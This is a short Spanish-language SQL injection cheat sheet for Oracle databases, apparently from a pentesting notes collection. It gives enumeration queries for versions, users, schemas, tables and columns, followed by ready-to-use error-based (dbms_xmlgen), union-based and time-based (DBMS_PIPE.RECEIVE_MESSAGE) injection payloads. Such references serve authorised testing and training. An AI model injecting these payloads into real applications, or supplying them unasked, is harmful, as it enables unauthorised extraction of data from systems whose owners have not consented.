# Oracle
## Enumeración
### Versión
```sql
# Versión
SELECT * FROM v$version
```
### Usuarios
```sql
# Usuario actual
SELECT user FROM dual
```
### Esquemas
```sql
# Listado de esquemas
SELECT owner FROM all_tables GROUP BY owner
```
### Tablas
```sql
# Tablas de un esquema
SELECT table_name FROM all_tables where owner='' ORDER BY table_name
```
### Columnas
```sql
# Columnas de una tabla
SELECT column_name, data_type FROM all_tab_columns WHERE table_name=''
```
### Datos
```sql
# Datos de una tabla
SELECT * FROM sys.
SELECT * FROM .
```
## Error-based SQLi
```sql
to_char(dbms_xmlgen.getxml('select "'|| (select substr(banner,0,25) from v$version where rownum=1)||'" from sys.dual'))
```
## Union-based SQLi
### Obtener información dentro de una sola columna
```sql
UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -
```
## Time-based SQLi
```sql
AND 1234=DBMS_PIPE.RECEIVE_MESSAGE('RaNdStR',10)
```
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